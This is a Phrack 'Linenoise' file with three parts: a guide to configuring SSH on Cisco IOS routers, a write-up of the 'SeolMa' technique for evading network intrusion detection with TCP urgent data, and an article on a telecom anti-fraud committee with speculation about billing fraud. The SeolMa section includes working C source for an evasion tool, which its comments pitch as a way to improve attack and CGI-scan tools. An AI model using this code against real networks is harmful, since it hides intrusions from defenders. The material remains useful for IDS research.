Zines/phrack/57/3.txt

                            ==Phrack Inc.==

               Volume 0x0b, Issue 0x39, Phile #0x03 of 0x12

|=-----------------------=[ L I N E N O I S E ]=-------------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ phrackstaff ]=----------------------------=|



|=[ 0x00 ]=--------------------------------------------------------------=|

In Phrack Volume 0xa Issue 0x38, the Linenoise section noted "Phrack
Linenoise is a hodge-podge" and that there was a "section in Linenoise
specifically for corrections and additions to previous articles".

So, we figured, what the fuck, let's publish an Addendum to the
"Building Bastion Routers Using Cisco IOS" article in Phrack Issue
55-10.

When we first wrote the article, which was over 2 years ago, support
for SSH in IOS was very new and only for the 7xxx and 12xxx series
routers and only in the latest 12.0 release trains. We made a
judgement call not to include it and indicated that it was imminent.
Well, everybody sent us e-mail saying "hey, IOS has SSH now". Thanks,
we know.

With the release of 12.1(1)T, support for SSH is now available in most
platforms. But, you might need to upgrade flash or DRAM in order to
use it. According to the Cisco web site:

    "Before configuring the SSH server feature, you must have an IPsec
    encryption software image...."

This basically means that you will probably need a minimum of 16MB of
flash and probably about 32MB of DRAM. And make sure you download the
3DES version so you don't get lulled into that false sense of security
single-key DES offers.

We should also note that IOS (and PIX for that matter) only support
SSH protocol version 1, at a time when most of the security community
is moving towards protocol version 2, now that free (e.g., OpenSSH)
implementations are available with protocol 2 support. The word we've
heard from Cisco is they have no plans for SSH protocol 2 support, and
recommend that you use IPsec instead.

One specific reason that Cisco should move towards protocol 2 support is
that there are known weaknesses in protocol 1. In fact, these weaknesses
have been known for more than a year and Cisco finally acknowledged that
their implementation was also vulnerable. They released a security
bulletin in June and the summary says it all:

    "Three different Cisco product lines are susceptible to multiple
    vulnerabilities in the Secure Shell (SSH) protocol. These issues are
    inherent to the SSH protocol version 1.5, which is implemented in
    several Cisco product lines."

So now let's get down to business and show you how to configure
it. The Cisco SSH implementation requires that the system have a
hostname and domain name, so we'll start with that:

1. Configure a hostname:

   filter(config)#hostname filter

2. Configure a domain name:

   filter(config)#ip domain-name home.net

3. Generate a host-specific RSA key. Use at least a 1024 bit key:

   filter(config)#crypto key generate rsa 

   The name for the keys will be: filter.home.net
   Choose the size of the key modulus in the range of 360 to 2048 for your
     General Purpose Keys. Choosing a key modulus greater than 512 may take
     a few minutes.

   How many bits in the modulus [512]: 1024
   Generating RSA keys ...
   [OK]

Now, do the smart thing and make sure TELNET access is disabled and
then save the configuration:

   filter(config)#line vty 0 15
   filter(config-line)#transport input none
   filter(config-line)#transport input ssh
   filter(config-line)#exit
   filter(config)#exit
   filter#write
   Building configuration...
   [OK]

Also remember that you should put an access class on the VTY to have
fine-grained control over which hosts can connect to the SSH server.

4. You can now view the keys:

   filter#sh crypto key mypubkey rsa
   % Key pair was generated at: 14:41:28 PDT Jun 19 2000
   Key name: filter.home.net           
   Usage: General Purpose Key
   Key Data:
    30819F30 0D06092A 864886F7 0D010101 05000381 8D003081 89028181 00B3F24F
    F51367B1 70460C52 B06E5110 F41A5458 EEE6A0DD 840EB3D3 44A958E9 E3BDF6BE
    72AE2994 9751FFCB 127A5D20 318D945B FBC25FC5 D9E3BFED 8B9BBCA9 EC3A61B8
    2BD6EC35 EA83CC56 27D08248 935A3F2A 9B941580 E69CC8B9 0C2CFA98 AD6F04CC
    19BB8522 8E5907EA 6B047EF1 E5DBBE1C E2187761 2E106479 A4297932
    19020301 0001  
   % Key pair was generated at: 14:41:39 PDT Jun 19 2000
   Key name: filter.home.net.server
   Usage: Encryption Key 
   Key Data:
    307C300D 06092A86 4886F70D 01010105 00036B00 30680261 00CF13EE C84A2FE3
    5720A5AB 5DA7B84D 2232E8E7 2589EF53 170BA42D 2830B2E0 44C2E60F 43BC06F2
    9D52BC92 774B8442 99CD0F8F 7073F5C8 97C9A91B 14284981 D23808C0 EF71522E
    CBBC87AB C1CCE95A 9813B13D D52BC0D0 DC4567A3 BA4C9F24 A1020301 0001

The "General Purpose Key" is the host key and the "Encryption Key" is
likely the ephemeral server key, which appears to be 768 bits.

5. Configure the timeout and authentication retries if desired; the default
   timeout is 120 seconds and the default number of authentication
   retries is 3:

   filter(config)#ip ssh time-out 60
   filter(config)#ip ssh authentication-retries 2

6. Configure Authentication:

There are many different authentication schemes you can use including
RADIUS and TACACS. We'll cover just two of the simpler schemes here:

   Option 1: Use the enable password:

   filter(config)#aaa new-model
   filter(config)#aaa authentication login default enable

   Option 2: Local passwords:

   filter(config)#aaa authentication login default local 
   filter(config)#username beldridg password 0 junos
   filter(config)#service password-encryption

7. Test it out:

   [beldridg@anchor tmp]$ ssh 192.168.3.9
   beldridg@192.168.3.9's password:
   Warning: Remote host denied X11 forwarding.
   Warning: Remote host denied authentication agent forwarding.

   filter>sh ssh
   Connection      Version Encryption      State                   Username
    0              1.5     3DES            Session started         beldridg

The warning messages are normal if your SSH client is configured to
request X11 and authentication agent forwarding. The reason for the
X11 forwarding message is that the system doesn't have any X clients,
and thus no need for X11 forwarding.  It also doesn't support agent
forwarding since the Cisco implementation doesn't support RSA
authentication.

Unfortunately, there is no mechanism to configure the SSH server to
only accept the 3DES cipher. An enhancement request was filed with
Cisco over 1 year ago and we have not heard back on the status of our
request. This means that crippled SSH clients, or clients that request
DES, can still connect to the server:

   [variablek@anchor variablek]$ ssh -c des 192.168.3.9
   Warning: use of DES is strongly discouraged due to cryptographic weaknesses
   variablek@192.168.3.9's password: 
   Warning: Remote host denied X11 forwarding.
   Warning: Remote host denied authentication agent forwarding.

   filter>sh ssh
   Connection      Version Encryption      State                   Username
    0              1.5     DES             Session started         variablek

8. SSH Client 

With the release of 12.1(3)T, IOS also has an SSH client (supports
DES and 3DES) so you can initiate outbound connections with something
like the following:

   filter#ssh -l beldridg 10.0.0.1

Newer IOS releases also provide the capability to copy configurations
to and from SSH servers via scp although we haven't played with that yet.

|=[ 0x01 ]=--------------------------------------------------------------=|

Subject:  NIDS Evasion Method named "SeolMa"

Recently, a new unique TCP property has known by some simple tests. This
property was found when we put Urgent TCP data in the middle of normal
TCP data stream, and it could be used as a way to avoid the pattern
matching of most IDS, especially NIDS..

Firstly, it is worth focusing on the discordance of the interpretation
process between the way of the common Operating Systems and the definition
of RFC 1122.  (We wouldn't cover the all of the TCP Urgent mode in this
paper).
The TCP/IP implementation, derived from the traditional BSD System,Urgent
pointer in TCP header point to the data right after the last Urgent data.
But RFC says the Urgent Pointer should point to the last Urgent data.

Above two different Urgent Pointer interpretation process make two
different result against below test.

The testing was executed about Apache and IIS, as an application,
on Solaris ( 7,8 )  , Linux 2.2.14, and Windows 2000.
Undoubtedly, from my point of view, these two application hasn't any
special definition for the communication of Urgent data.
(i.e., these would be handled in the same way of general TCP data.)

At first test, string packet "ABC" was sent in plain way, and then string
packet "DEF" was forwarded in Urgent mode.
Finally string packet "GHI" was delivered. Urgent Pointer value in "DEF"
tcp packet was "3" .
After sending these string, the final string composition on the host was
not the expected "ABCDEFGHI",
but the strange "ABCDEGHI", which was on the log of each application,
to our surprise.
The character "F" vanished.

During this first test above, the environment of Linux follows BSD format
for Urgent data processing.
Therefore, the setting was changed as the way on RFC 1122 for the next
test.
These setting could be referred at TCP MAN page.
ex) echo "1" > /proc/sys/net/ipv4/tcp_stdurg

At second test, Linux's Urgent Pointer interpretation process follows
RFC 1122.
The same procedure was applied to the packet transmission at second test.
Urgent Pointer value in "DEF" tcp packet was "3" also.
At this time, the result was not "ABCDEFGHI", but "ABCDEFHI", to our
another surprise.
The Character "G" was missed at this test.

>From the verification of the packet transmission using TCPDUMP and the
results above, we reach to the conclusion as the following.:

"1 Byte data, next to Urgent data, will be lost, when Urgent data and
normal data are combined."

Analyzing the first test, the value of Urgent Pointer was "3",
when "DEF" was sent in Urgent mode.
However, the actual Urgent Data count become "3 - 1 = 2", due to following
the BSD format, and only  "DE" is regarded as Urgent data
and 1 Byte data "F", after "DE", is lost.

Similarly, the second test result could be explained.
The Urgent Pointer value of "DEF" tcp packet was 3.
In this case, the whole "DEF" become Urgent Data and following "GHI" is
normal data.
The character "G" is discarded, as 1 Byte data following Urgent Data,
in the same way.

It is significant that BSD processing is applied to all the default
processings of the Operating Systems in these tests.

Now, by using this feature, NIDS could be easily deceived because it has no
consideration for this.
Assume one would like to request "GET /test-cgi" URL.
Then divide "test-cgi", which could be the signature of NIDS, into at least
3 parts.

Let's split into "tes", "t-c" and "gi".
If "t-c" is sent as Urgent data, it is clear that the last 1 Byte "c" will 
be
lost and the last combination will be "test-gi".
Thus one would add any 1 Byte at "t-c" for cheating.

Forward like "tes", "t-cX" and "gi" with same manner.
Then the final host's Apache or IIS will recognize as "test-cgi", but the
result of the composition in NIDS will be "test-cXgi" without consideration
of this. It is no wonder that one could avoid NIDS pattern matching through
this.
This is not managed even on Snort,  Open-Source.
Commercial NIDS is also blind for this.

For the worse, the OS like Linux 2.2.14 version shows different result by
the speed of transmission, when Urgent data is sent more than three times.
This would deteriorate the protecting way of NIDS.
That is, just the prediction of 1 Byte loss wouldn't be solution.

For Example, sending "ab" in normal, "cd" in Urgent mode, "ef" in normal,
"gh" also in Urgent mode, "ij" in normal, and final "kl" in Urgent mode,
would result in "abcefgijk" by the previous theory on this paper.
However, actual outcome is "abcdefghijk" and the final Urgent data would
follow the previous property.
For the all Urgent data's compliance of previous property, each transmission
of data needs sleep in betweens.

For more details, following "seolma.c" source could be referred.

The following source will show the simple concept of that.

I gave "SeolMa" as a name of this method.


Acknowledgement:  Thanks to other RealAttack Team(www.realattack.com)
members
                  Yoon , Young  ( yoon0258@www.a3sc.co.kr )
                  Oh, Jae Yong  (syndcate@orgio.net )
                  Yoon, Young Min (scipio21@yahoo.co.kr)

|=[ SeolMa.c ]=----------------------------------------------------------=|

/*  This is a simple source code for just test.
    You can improve your exploit source by observing it
    Compiled and Tested on Linux 2.2.X
    It works aginst most Apache , IIS   well .
    Improve your web-cgi scan, attack tool

   Written by : YoungJun Ko,  ohojang@realattack.com  
                Sungjun Ko, Minsook Ko
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>

#define TCP_PORT 80
#define SOL_TCP 6
#define TCP_NODELAY  1
#define TARGET_IP "1.2.3.4"

/* counter <  NIDS's Signature length - 1
    For example,  Against "test-cgi "
    should counter < 7   */

int counter=0;

/* writen() is  important point  in this source code...
    I adjust Stevens's code */

int writen(fd, ptr, nbytes ,sockfd,origin)
register int fd;
register char *ptr;
register int nbytes;
int sockfd;
char *origin;
{
       int nleft, nwritten ;
       int i, k;
       char urgent[2];
       int done =0;
       int all =0;

       nleft= nbytes;

            while( nleft > 0 ) {
              nwritten = write(fd , ptr, counter );
              if ( nwritten  <= 0 )
                   {
                    printf("Write Error \n" );
                    return (nwritten);
                   }

              nleft -=  nwritten ;
              ptr += nwritten;

       all += nwritten;

  /* For some Linux, we must sleep . */
     sleep(2);
  /* 4 times insertion is enough for IDS evasion in simple cases */
   if (  done != 4  )
        {
        for (k=1 ; k <=1 ; k++ )
   {
        urgent[0]= *ptr;
        urgent[1]= 'X';
        urgent[2]= '\0';
        
        i = send( fd, urgent , strlen(urgent), MSG_OOB ) ;
        printf("send result is %d\n" , i );
   }
        done  +=1;
         ptr += 1;
          }

  }
           return(nbytes - nleft );
}


int
main(int argc, char *argv[])
{
    int sockfd;
    int i,j,k,sendbuff;
    socklen_t optlen;
    struct sockaddr_in serv_addr;
    char buffer[2048];
    char recvbuffer[2048];
    bzero( (char *)&serv_addr , sizeof(serv_addr) );
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = inet_addr(TARGET_IP );
    serv_addr.sin_port = htons ( TCP_PORT  );
    counter = atoi(argv[2]);
    if ( counter == 0 )
    {
       printf("You must input counter value \n" );
       exit(-1) ;
    }
    if ( (sockfd = socket( AF_INET , SOCK_STREAM , 0 )) < 0 )
    {
	       printf("Error socket \n");
	       exit(-1);
    }

    sendbuff = 1;
    optlen = sizeof(sendbuff );

    i= setsockopt( sockfd,
                   SOL_TCP,
                   TCP_NODELAY,
                   (char *)&sendbuff,
                   optlen);
    printf("setsockopt TCP_NODELAY value %d\n" , i );
    if ( connect (sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr))<0)
    {
	  printf("Connect Failed \n");
	  exit(-1);
    }
/* make a such file contains "GET /test-cgi  /HTTP 1.0\n\n"  */
   i= open(argv[1], O_RDONLY );
   j=read ( i, buffer , sizeof(buffer));
   printf(" Read Buffer size is %d\n", j );

   k= writen( sockfd , buffer, j, sockfd, buffer);
   printf("I write on socket %d bytes \n", k );
   sleep(1);
/*
 * I use just simple read() ... Usually it make error ,
 * But don't care about it
 * Just observe your web server log. ( access_log  , ...   )
 */
   k = read ( sockfd, recvbuffer , sizeof(recvbuffer) );
   printf(" I Read on socket %d bytes\n", k );
   printf("%s\n", recvbuffer );

  return 0;
}


|=[ 0x02 ]=--------------------------------------------------------------=|

The Telecommunications Fraud Prevention Committee (TFPC)
written by nemesystm, member of the dhc.
http://dhcorp.cjb.net : neme-dhc@hushmail.com


[introduction]
In this article I will talk about the TFPC and what this committee
actually does. I will take an issue that was raised during a meeting of
the TFPC, explain its contents and what is going to happen in the (near)
future to clarify exactly what the TFPC's activities are.
I have added some miscellaneous information like a contact address and
other Anti fraud initiatives in case you want to write to the TFPC or if
you want to look into other similar initiatives.
While making this article I was amazed how little information people I
contacted were willing to give. This was also the reason why I decided to
write this article as I stumbled upon the TFPC some time ago and found
little to no information about them.
I hope this article will be of use to you.
please e-mail neme-dhc@hushmail.com if you have questions.

nemesystm


[What the TFPC does.]
According to the guidelines that can be found on the TFPC website(1), "The
TFPC is an open industry committee under the Carrier Liaison Committee
(CLC). The TFPC provides an open committee to encourage the discussion and
resolution, on a voluntary basis, of industry-wide issues associated with
telecommunications fraud, and facilitates the exchange of information
concerning these topics."(2)
This told me next to nothing; a little searching was in order. The
following factors affecting telecom fraud are handled by the TFPC:(3)

 SPI's - Service Provider Identification
   An SPI is a 4 character code that can be used in SS7 to identify who
   provides the service of a call.
   If you would like a short description of SS7 or Switching System 7, go
   to: www.cid.alcatel.com/doctypes/techprimer/keywords/ss7.jhtml

 Number pooling
   Number pooling refers to the blocks of ten thousand numbers and thousand
   numbers that a provider draws from to provide customers with phone
   numbers. An example of a ten thousand number block is 214-745-xxxx

 Merging of the BVDB - Billing Validation DataBase
   The BVDB's are used by RAO (Revenue Accounting Offices) of the carriers
   to calculate how much a customer has to pay. Currently BVDB's are not
   merged so some people try to stay ahead of them.

 Expansion of the LIDB - Line Information DataBase
   The LIDB sends a message to the BVDB's telling them about a call that 
   is being made. Fraud happens for example when the LIDB cannot connect to
   the proper BVDB to write the bill.

 Additions to LSR - Local Service Requests
   LSR requests basically occur when you make a local call in North
   America. You do not pay for the call and therefore it is not recorded
   in any way. The TFPC is working together with the OBF (Order and Billing
   Forum) to find a industry wide solution to make it that those calls are
   also recorded by the DVDB's for the RAO's.

A second source(4) also added the following:

  "While much of the TFPC's activities are shrouded in secrecy, it is
  actively addressing third number billing, incoming international collect
  to cellular, incoming payphone and PBX remote access fraud."

I think that clears things up a little.


[who is in the TFPC.]
The TFPC membership consists of a group of carriers including Ameritech,
AT&T, Bellsouth, Bell Canada, British Telecom, Sprint and Verizon.(5)
A TFPC member must be an organization, company or government agency that 
is affected by Telecommunications Fraud.
Because the TFPC discusses sensitive information a non-disclosure agreement
must be signed.(6) When becoming a member of the TFPC you also have to pay
a membership fee. The membership fee is relatively small and really more 
a sign of good will.(7)


[what they decide - case study]
In the infinite wisdom that the TFPC has, ;) they decided that it was
alright to make one of the issues public. The issue I was able to get was
Issue #0131(8), subtitled: "Identification of Service Providers for Circuit
Switched Calls".
The issue was raised by Norb Lucash of the USTA.

  "Issue statement: In a multi-service provider environment (e.g. resale,
  unbundling, interconnection) there is a need for a defined
  architecture(s) to identify entities (companies) that are involved in
  circuit-switched calls to facilitate billing and auditing."

If you look into this you'll see that it means that there was no
identification of the individual service providers when phone calls were
circuit switched. Apparently Local Service Providers (LSP's) were
identified by the originating phone number, but because of the current
"environment" this is not working properly, so sometimes calls that cost
money can not be properly billed.
To solve this problem phone calls are to be accompanied by a SPI. Then
everyone can just check the SPI to find out who to bill for the call.
There are several solutions to the problem so a strawman was created called
"Service Provider Identification Architectural Alternatives Report"(9).
Quite the mouthful.
This issue was first raised on 11/17/98 and is still being worked on. In
general session #28 (one of the tri-yearly meetings) on May 1st of 2001 
it was concluded that this was allowed to be made available on the NIIF site.
The NIIF were the people that made the strawman. NIIF stands for Network
Interconnection Interoperability Forum and is part of the CLC, just like
the TFPC is.

I believe this will be a recipe for disaster. What if a rather disgruntled
individual manages to get the SPI of company X? This individual truly
dislikes company X. So he hooks into a main phone line and calls the most
expensive places and does it quite often. The company handling the phone
calls recognizes the SPI to be from company X. Company X gets the bill and
thinks: no problem, we'll just bill the person who made the calls. When
company X finds out none of their clients made those calls they have lost
money. The choice made from the solutions below will decide how the attack
would be done.


[the alternatives - case continued]
As I said before, there are several solutions to the problem of the SPI's.
Here they are:
A. Switch-Based Alternative
B. Non-Real Time Database Alternative
C. Network Database Alternative
D. Non-Call Setup Network Alternative
E. Phased SPI Implementation Alternative
What follows is a run through of how each solution would work.

A. Switch-Based Alternative
When a call is coming in, information about the account owner of the
person calling becomes available as a line-based attribute. Both the
acount owner and switch owner information is forwarded in a new parameter
in the (SS7) call-setup signalling of the IAM (Initial Address Message).
This information is then made available to every network node on the route
of the call. When the calls reaches the final switch, similar information
of the SPI of the called number is returned via (SS7) response messages,
(e.g, ACM (Address Complete Message) and ANM (Answer Message)). When that
information is received the originating switch has the option of including
it within the originating AMA (Automatic Message Accounting) record of the
call.

An advantage of this would be that the information would move in real time
between the companies involved. But this solution has some problems, it
would require that all switches get enhanced, the AMA will have to change
to make this possible and it doesn't take care of situations where SPI-type
information is needed for numbers which are neither owned by the called 
nor calling person.

B. Non-Real Time Database Alternative
With this alternative it is the idea that SPI information should be put 
in
one or more databases not directly connected to the processing of separate
calls. The information could then be made available on request to the phone
network some time after the call. The time between the call and the receipt
of the SPI information can range from mere milliseconds up to weeks.

This is actually an alright approach because only one (minor) problem gets
created and only one problem remains. Everyone would have to agree who
would be the third, independent, party to maintain the database. This
alternative would not allow for SPI-based screening for call routing
purposes.

C. Network Database Alternative
Sort of like the Switch-Based Alternative, this does real-time receiving
and sending of SPI information when the call gets made. But the
Switch-Based Alternative gets the SPI information from the switch. This
alternative gets the information from an external database connected to 
the
network. SPI information would then by grabbed by IN (Intelligent Network)
or AIN (Advanced Intelligent Network) queries when the call is made.
The information could become part of one of the queries currently in use
(LNP, LIDB and Toll Free for example) or a completely new query that gets
handled by a separate SCP (Service Control Point).

D. Non-Call Setup Network Alternative
The idea behind this solution is that the SPI information still comes
through network signalling but detached from the call setup portion.
ONLS (Originating Line Number Screening) and GET DATA (SS7) messaging
are a way to get information outside of the standard call setup.

E. Phased SPI Implementation Alternative
The NIIF analysed the other solutions and figures alternative C is the best
way to go as it comes closest to the requirements of the system that is
needed.
Implementation of any alternative that provides SPI in a real-time way will
have a serious impact on the phone network and it will take a long time
before it is completely implemented.

Not all carriers have a SPI right now, so an expedited solution must be
found for their problems. The NIIF thinks a segmented implementation of 
a 
limited SPI capability with a non real-time database will be best. In the
future the database could be enhanced.
A phased approach that begins with including SPI information with a non
real-time accessible line-level database appears to be possible to
implement in the near future that gives a lot of the wanted attributes.

The NIIF thinks it will be best if existing LIDB's get used as a database
at first because a lot of the LIDB's will already contain an Account Owner
field, are available to most facilities-bases service providers and may
not require that much change.
Problems with LIDB's are: Potential overload of LIDB queries.
                          Inability to perform batch processing to do off
                          hour downloads.
                          Potential call delay set ups because of the
                          higher amount of queries.


[so what is it going to be?]
Right now no final decision has been made, all this information has been
sent to the OBF (Order & Billing Forum) to make a RFP (Request For Process)
so a final decision can be made.
By the sounds of things alternative E is probably going to be the "winner"
in all of this.


[miscellaneous information]
The mailing address for the TFPC is(6)
TFPC Secretary - ATIS
1200 G St. NW Suite 500
Washington, D.C. 20005

Ofcourse the TFPC is not the only anti fraud initiative.
A lot of telephony associations have a anti fraud section as well.
I noticed that the following five were mentioned on quite a few websites 
on
telephone fraud. One such source was Agilent(10). Agilent is one of the
members of the TFPC.
http://www.cfca.org
   - Communications Fraud Control Association (CFCA)
http://www.asisonline.org
   - American Society for Industrial Security (ASIS)
http://www.htcia.org
   - High Technology Crime Investigation Association (HTCIA)
http://www.iir.com/nwccc/nwccc.htm
   - National White Collar Crime Center (NWCCC)
http://www.fraud.org
   - National Fraud Information Center (NFIC)


[conclusion]
Judging by the amount of planning, who are members and the work found you
can rest assured that once a decision is made all members will implement
it.  This makes things harder for a phreak.
As the discovery of a problem by one company gets shared with other
companies even greater vigilance is needed by individuals who do not want
word to get out about their tricks. 
I do not think that committees like the TFPC will succeed in banning out
all the mistakes in the telephony network. This article showed that with
the introduction of a solution for one problem another potential problem
opened. I am sure there are many more.


[sources]
(1) http://www.atis.org/atis/clc/tfpc/tfpc/tfpchom.htm
    from "TFPC Guidelines v1.0" published February 2001,
(2) found in section II, Mission Statement.
    http://www.atis.org/pub/clc/tfpc/tfpcguidefinal201.pdf
(3) according to a slide show taken from Nortel.com
    called "Securing Your Net", presented by David Bench, Senior Staff
    Manager-Industry Forums Liaison US Standards & industry forums team.
    monitor.pdf and portability.pdf
    I have lost the links so I have put them up at
    http://www.emc2k.com/dhcorp/tfpc/monitor.pdf and
    http://www.emc2k.com/dhcorp/tfpc/portability.pdf
(4) from a overview of The Operator, volume I, number 10.
    read in the letter from the editor section.
    published October, 1992
    http://www.whitaker.com/theoperator/opop0010.htm
(5) from "TFPC Company Participants"
    http://www.atis.org/atis/clc/tfpc/tfpclist.htm
(6) Non-disclosure agreement
    http://www.atis.org/pub/clc/tfpc/nondnew.pdf
(7) as assumed by reading "2001 Funding fees for the TFPC"
    http://www.atis.org/pub/clc/tfpc/tfpc2001fees.doc
(8) History of decisions from 1998 until 2001 for issue 131
    http://www.atis.org/pub/clc/niif/issues/0131.doc
(9) The original link died. I put it up for people to view at
    http://www.emc2k.com/dhcorp/tfpc/131strawr8.doc
(10)The following URL is cut up a bit to fit properly.
    http://www.agilent.com/cm/commslink/hub/issues/fraud/*CONNECT*
    fraud_prevent_initiatives.html

|=[ EOF ]=---------------------------------------------------------------=|